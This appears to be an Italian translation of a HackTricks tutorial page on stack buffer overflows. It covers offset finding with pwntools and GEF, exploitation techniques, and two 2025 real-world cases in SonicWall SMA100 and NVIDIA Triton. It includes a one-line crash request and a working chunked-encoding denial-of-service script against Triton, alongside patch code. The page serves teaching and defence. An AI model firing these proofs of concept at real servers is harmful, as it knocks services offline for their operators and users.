Stack Overflow
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Che cos'è uno Stack Overflow
Un stack overflow è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso sovrascrivono aree di memoria adiacenti, causando la corruzione di dati validi, la deviazione del controllo di esecuzione e potenzialmente l'esecuzione di codice malevolo. Questo problema spesso nasce dall'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input.
Il problema principale di questa sovrascrittura è che il saved instruction pointer (EIP/RIP) e il saved base pointer (EBP/RBP) per tornare alla funzione precedente sono stored on the stack. Pertanto, un attaccante potrà sovrascriverli e controllare il flusso di esecuzione del programma.
La vulnerabilità solitamente nasce perché una funzione copia nello stack più byte di quanti ne siano stati allocati per essa, riuscendo così a sovrascrivere altre parti dello stack.
Alcune funzioni comunemente vulnerabili a questo sono: strcpy
, strcat
, sprintf
, gets
... Inoltre, funzioni come fgets
, read
e memcpy
che richiedono un length argument possono essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
Per esempio, le seguenti funzioni potrebbero essere vulnerabili:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Trovare gli offset degli Stack Overflows
Il modo più comune per trovare stack overflow è fornire un input molto grande di A
s (es. python3 -c 'print("A"*1000)'
) e aspettarsi un Segmentation Fault
che indica che è stato tentato l'accesso all'indirizzo 0x41414141
.
Inoltre, una volta scoperto che esiste una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario fino a poter overwrite the return address, per questo si usa solitamente una De Bruijn sequence. La quale, per un alfabeto di dimensione k e sottosequenze di lunghezza n, è una sequenza ciclica in cui ogni possibile sottosequenza di lunghezza n appare esattamente una volta come sottosequenza contigua.
In questo modo, invece di dover determinare a mano quale offset è necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverla.
È possibile usare pwntools per questo:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
o GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
Durante un overflow (supponendo che la dimensione dell'overflow sia sufficientemente grande) sarai in grado di overwrite i valori delle variabili locali nello stack fino a raggiungere il saved EBP/RBP and EIP/RIP (or even more).
Il modo più comune di abusare di questo tipo di vulnerabilità è modifying the return address così quando la funzione termina il control flow will be redirected wherever the user specified in questo puntatore.
Tuttavia, in altri scenari potrebbe bastare semplicemente overwriting some variables values in the stack per l'exploitazione (come in facili sfide CTF).
Ret2win
In questo tipo di CTF challenges, esiste una function inside il binary che è never called e che you need to call in order to win. Per queste sfide devi solo trovare l'offset to overwrite the return address e find the address of the function da chiamare (solitamente ASLR sarebbe disabilitato) così quando la vulnerable function returns, la hidden function verrà chiamata:
Stack Shellcode
In questo scenario l'attacker potrebbe piazzare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:
Windows SEH-based exploitation (nSEH/SEH)
Su 32-bit Windows, un overflow può overwrite la Structured Exception Handler (SEH) chain invece del saved return address. L'exploitation tipicamente sostituisce il SEH pointer con un gadget POP POP RET e usa il campo nSEH di 4 byte per un short jump che pivot indietro nel large buffer dove risiede lo shellcode. Un pattern comune è uno short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare centinaia di byte indietro verso l'inizio del payload.
ROP & Ret2... techniques
Questa tecnica è il framework fondamentale per bypassare la principale protezione alla tecnica precedente: No executable stack (NX). E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che porteranno all'esecuzione di comandi arbitrari sfruttando istruzioni esistenti nel binary:
Heap Overflows
Un overflow non si trova sempre nello stack, potrebbe anche essere nell'heap per esempio:
Types of protections
Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, consultarle in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Una buona dimostrazione del perché sscanf
non dovrebbe mai essere considerato affidabile per l'analisi di input non attendibili apparve nel 2025 nell'appliance SSL-VPN di SonicWall SMA100.
La routine vulnerabile dentro /usr/src/EasyAccess/bin/httpd
tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- La prima conversione (
%2s
) memorizza in modo sicuro due byte inversion
(es."v1"
). - La seconda conversione (
%s
) non ha uno specificatore di lunghezza, quindisscanf
continuerà a copiare fino al primo byte NUL. - Poiché
endpoint
è collocato sul stack ed è 0x800 bytes long, fornire un path più lungo di 0x800 bytes corrompe tutto ciò che si trova dopo il buffer ‑ inclusi il stack canary e il saved return address.
Una proof-of-concept su una sola riga è sufficiente per scatenare il crash prima dell'autenticazione:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Anche se stack canaries terminano il processo, un attacker ottiene comunque un primitivo Denial-of-Service (e, con ulteriori information leaks, eventualmente code-execution). La lezione è semplice:
- Fornire sempre una larghezza massima del campo (e.g.
%511s
). - Preferire alternative più sicure come
snprintf
/strncpy_s
.
Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Il Triton Inference Server di NVIDIA (≤ v25.06) conteneva multiple stack-based overflows raggiungibili tramite la sua HTTP API.
Il pattern vulnerabile appariva ripetutamente in http_server.cc
e sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) restituisce il numero di segmenti di buffer interni che compongono l'attuale corpo della richiesta HTTP.- Ogni segmento provoca l'allocazione di un
evbuffer_iovec
da 16-byte sul stack tramitealloca()
– senza alcun limite superiore. - Abusando di HTTP chunked transfer-encoding, un client può costringere la richiesta a essere suddivisa in centinaia di migliaia di chunk da 6-byte (
"1\r\nA\r\n"
). Questo fa sì chen
cresca senza limiti finché lo stack non viene esaurito.
Proof-of-Concept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il crash del daemon su una build di default.
Patch e mitigazione
La release 25.07 sostituisce l'allocazione non sicura sullo stack con un std::vector
allocato sull'heap e gestisce in modo elegante std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Lezioni apprese:
- Non chiamare mai
alloca()
con attacker-controlled sizes. - Chunked requests possono drasticamente cambiare la forma dei server-side buffers.
- Valida / limita qualsiasi valore derivato da client input prima di usarlo in memory allocations.
Riferimenti
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.